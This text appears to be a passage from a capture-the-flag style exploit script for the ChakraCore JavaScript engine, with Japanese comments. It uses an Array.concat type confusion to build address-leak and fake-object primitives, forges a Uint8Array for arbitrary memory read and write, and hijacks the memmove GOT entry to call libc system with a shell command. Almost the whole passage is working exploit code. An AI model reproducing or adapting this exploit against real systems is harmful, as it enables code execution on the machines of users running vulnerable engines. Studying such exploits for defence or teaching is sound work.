return asJsObject_(addr);
}
// objのアドレスを取得する
function getAddress_(obj){
// JavascriptArray::ConcatIntArgsを呼びたいので、aもbもJavascriptNativeIntArrayにする
var a = [0, 1, 2];
var b = [0, 1];
var f = new Function();
var confused;
f[Symbol.species] = function(){ // a.concatで新しく作られる配列を変数に入れるためのコンストラクタ
confused = []; // この時点ではconfusedはJavascriptNativeIntArray
return confused
};
a.constructor = f;
// b[Symbol.isConcatSpreadable]はNG
Object.defineProperty(b, Symbol.isConcatSpreadable, {
get: function(){
b[0] = undefined; // bをJavascriptNativeIntArray以外の配列にする
confused[0] = obj; // confusedをJavascriptArrayに変える
return true;
}
});
var c = a.concat(b);
return new Integer(c[0], c[1], true);
}
// addrにあるデータをJavascriptのオブジェクトとして扱う
function asJsObject_(addr){
var a = [0, 1];
var b = [addr.low, addr.high];
var f = new Function();
var confused;
f[Symbol.species] = function(){
confused = [];
return confused;
}
a.constructor = f;
Object.defineProperty(b, Symbol.isConcatSpreadable, {
get: function(){
confused[0] = undefined;
return true;
}
});
var c = a.concat(b);
return c[1]; // ソースを読んだ感じでは0な気もするが、メモリを見ると1っぽい
}
function leakChakraCoreBase(){
// a, bはこんな感じのメモリレイアウトになっていて、2個までならrelocateさせずに要素を追加できる
// 0x7ffff0d481c0: 0x00007ffff6480bb0 0x00007ffff7e14f00 <-a
// 0x7ffff0d481d0: 0x0000000000000000 0x0000000000000005
// 0x7ffff0d481e0: 0x0000000000000004 0x00007ffff0d48200
// 0x7ffff0d481f0: 0x00007ffff0d48200 0x00007ffff7e55a40
// 0x7ffff0d48200: 0x0000000400000000 0x0000000000000006
// 0x7ffff0d48210: 0x0000000000000000 0x0000000200000001
// 0x7ffff0d48220: 0x0000000400000003 0x8000000280000002
// 0x7ffff0d48230: 0x00007ffff6480bb0 0x00007ffff7e14f00 <-b
// なので、aの後ろに偽のJavascriptUInt64Numberを作ってbのvtableをリークする
var a = [1, 2, 3, 4];
var b = [6, 0, 0, 0]; // JavascriptUInt64NumberのTypeId
var addressA = getAddress(a);
var addressB = getAddress(b);
if(addressB.sub(addressA).neq(0x70)){
throw ":(";
}
// メモリ上にJavascriptUInt64Numberオブジェクトを作る
// offset 0x0 : vtable (unused)
// 0x8 : Js::Type* type
// 0x10: unsigned long value
// vtable
a[2] = 0;
a[3] = 0;
// Js::Type* type
[a[4], a[5]] = (a => [a.low, a.high])(addressB.add(0x58));
var vtable = Integer.fromNumber(parseInt(asJsObject(addressA.add(0x60))), true);
return vtable.sub(offsets.vtable_JavascriptNativeIntArray);
}
function achieveRW(libChakraCoreBase){
var a = new Array(16); // 17以上だとインラインなArrayにならないっぽい
var buffer = new ArrayBuffer(0x1000); // 適当なArrayBuffer
var deconstruct = a => [a.low, a.high];
var type = [43, 0];
var sample = new Uint8Array(0x1000);
// a中にfakeのUint8Arrayを作る
// 0x0 : vtable
// 0x8 : type = &(TypeIds_Uint8Array(=43))
// 0x10: auxSlots = NULL
// 0x18: objectArray = NULL
// 0x20: unsigned int length = length
// 0x28: Js::ArrayBufferBase *arrayBuffer = &ArrayBuffer
// 0x30: int BYTES_PER_ELEMENT = 1
// 0x34: unsigned int byteOffset = 0
// 0x38: unsigned char *buf
// vtable
[a[0], a[1]] = deconstruct(libChakraCoreBase.add(offsets.vtable_Uint8Array));
// type
[a[2], a[3]] = deconstruct(getAddress(type).add(0x58));
// auxSlots
[a[4], a[5]] = [0, 0];
// objectArray
[a[6], a[7]] = [0, 0];
// length
[a[8], a[9]] = [buffer.byteLength, 0];
// arrayBuffer
[a[10], a[11]] = deconstruct(getAddress(buffer));
// BYTES_PER_ELEMENT
a[12] = 1;
// byteOffset
a[13] = 0;
// buf
[a[14], a[15]] = [0, 0];
var memory = {
a: a,
b: buffer, // 消えたら困りそうなので一応入れておく
t: type,
buf: asJsObject(getAddress(a).add(0x58)),
setAddress: function(addr){
[this.a[14], this.a[15]] = [addr.low, addr.high];
},
readBytes: function(addr, length){
var result = new Array(length);
this.setAddress(addr);
// return this.buf.slice(0, length)はtypeがアなためかSEGVする
for(var i = 0; i < length; i++){
result[i] = this.buf[i];
}
return result;
},
readLong: function(addr){
var result = this.readBytes(addr, 8);
return new Integer(result[0] | (result[1] << 8) | (result[2] << 16) | (result[3] << 24), result[4] | (result[5] << 8) | (result[6] << 16) | (result[7] << 24), true);
},
writeBytes: function(addr, data){
this.setAddress(addr);
for(var i = 0; i < data.length; i++){
this.buf[i] = data[i];
}
},
writeLong: function(addr, value){
var bytes = value.toBytesLE();
this.writeBytes(addr, bytes);
}
};
return memory;
}
function pwn(){
var libChakraCoreBase = leakChakraCoreBase();
console.log(`[*] libChakraCore base = 0x${libChakraCoreBase.toString(16)}`);
var memory = achieveRW(libChakraCoreBase);
var a = new Uint8Array(100);
var cmd = "ls -la";
for(var i = 0; i < cmd.length; i++){
a[i] = cmd.charCodeAt(i);
}
var b = new Uint8Array(a.length);
var libcBase = memory.readLong(libChakraCoreBase.add(offsets.got_mprotect)).sub(offsets.libc_mprotect);
console.log(`[*] libc base = 0x${libcBase.toString(16)}`);
memory.writeLong(libChakraCoreBase.add(offsets.got_memmove), libcBase.add(offsets.libc_system));
a.set(b);
}
pwn();
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